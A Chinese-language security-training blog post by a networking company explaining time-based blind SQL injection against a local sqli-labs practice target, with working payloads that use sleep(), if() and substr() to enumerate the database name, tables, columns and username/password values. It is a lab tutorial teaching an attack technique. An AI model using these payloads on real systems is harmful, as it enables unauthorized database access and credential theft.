大数跨境

渗透测试之SQL注入(4)

渗透测试之SQL注入(4) 河北镌远网络科技有限公司
2020-03-30
1
导读:渗透测试之SQL注入(4)


渗 透 测 试







SQL 注 入(4)


前言


上篇文章讲了报错注入,今天就来讲下延时注入,又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据。延时注入的应用场景是,在我们输入and 1或者and 0的时候,页面的返回无变化,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入。


01


常用函数

if()函数: 

if()函数,顾名思义,这个一个条件判断函数,所以

if()函数有三个参数,其用法为if(a,b,c)

第一个参数a:判断语句,返回结果为真假

第二个参数b:如果前面的判断返回为真,则执行b

第三个参数c:如果前面的判断返回为假,则执行c

实例:select if(1=1,1,2)和select if(1=2,1,2),如下图


sleep()函数:

通过在语句中添加一个sleep(n)函数,强制让语句停留n秒钟

实例:select 1 sleep(5),如下图

ascii()函数:

将字符传转化为ASCII码


02

渗透思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库表名

4.猜解字段名

5.猜解数据


03

举例

以本地的靶机为例


提示需要:请输入ID作为参数与数值

显示正常,同时查看一下网页打开时间,2点多秒,开始练习。

以下所有代码以http://localhost/sqli/Less-9/?id=1为起点


1、判断注入类型

 

payload

result

1'and sleep (5) #

延迟

1 and sleep (5) #

没有延迟

根据请求时间得出存在字符型注入 需要闭合标签。 


2、猜解当前数据库名

2.1猜解数据库的长度

当长度为6的时候请求的返回时间。

 

当长度为8时,请求返回时间延时。

 

payload

result

' and if(length(database())=6,sleep(5),1) #

没有延迟

' and if(length(database())=8,sleep(5),1) #

延迟

该数据库的长度的为8

 

2.2采用二分法猜解数据库名

payload

result

1' and if(ascii(substr(database(),1,1))>114, 0,sleep(5)) %23

没有延时

1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) %23

延时

数据库的第一个字符为小写s。

重复上述步骤,就能猜解出数据库名。security


3猜解数据库的表明

3.1猜解数据库中表的数量

当数据库的数量为4时,没有延迟 

当数据库的数量不为4时,延迟

 


以上说明该数据库有4个表

3.2猜解表名

 

 

附带一下代码

' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5)) %23

根据以上信息得出在101-105之间,其余的就按照这个节奏构造吧。

假如我们已经把所有的表爆出来了,分别是email、referers、uagents、users


4由表名猜字段名

猜字段名

直接上代码

1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))<105, sleep(5),0) #

 依次类推可得表中所有字段名

id、username、password

猜解user和password的值的长度

 

' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) %23

接下来就慢慢去尝试。

后附一张ASCII表的链接https://tool.oschina.net/commons?type=4。








关于我们:

河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。

关注镌远科技,关注网络安全!

河北分公司:河北镌远网络科技有限公司

地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层

总公司:北京冠程科技有限公司

地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层

实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心

 

欢迎扫描关注我们,及时了解更多关于网络安全相关知识








点击“阅读原文”

【声明】内容源于网络
0
0
河北镌远网络科技有限公司
河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
内容 582
粉丝 0
河北镌远网络科技有限公司 河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
总阅读554
粉丝0
内容582